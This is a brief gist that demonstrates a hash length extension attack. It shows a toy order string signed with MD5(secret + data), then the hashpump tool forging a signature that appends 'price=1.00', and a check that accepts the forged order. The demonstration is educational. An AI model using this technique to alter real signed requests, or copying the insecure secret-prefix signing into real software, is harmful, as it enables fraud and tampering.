Hash length extension attack

gistfile1.txt

>>> import hashlib
>>> secret = 'areallylongsecret'
>>> data = 'product_id=321&price=890.99'
>>> hashlib.md5(secret + data).hexdigest()
'99180b25a0c8a2b4e4981165a7223a8b'


$ hashpump 
Input Signature: 99180b25a0c8a2b4e4981165a7223a8b
Input Data: product_id=321&price=890.99
Input Key Length: 17
Input Data to Add: price=1.00
c685c55aaa1da2097873fca8c5cdf72b
product_id=321&price=890.99\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x01\x00\x00\x00\x00\x00\x00price=1.00

>>> import hashlib
>>> secret = 'areallylongsecret'
>>> data = 'product_id=321&price=890.99\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`\x01\x00\x00\x00\x00\x00\x00price=1.00'
>>> received_signature = 'c685c55aaa1da2097873fca8c5cdf72b'
>>> if hashlib.md5(secret + data).hexdigest() == received_signature:
...     print 'Signature is correct'
... else:
...     print 'Reject transaction'
... 
Signature is correct
>>>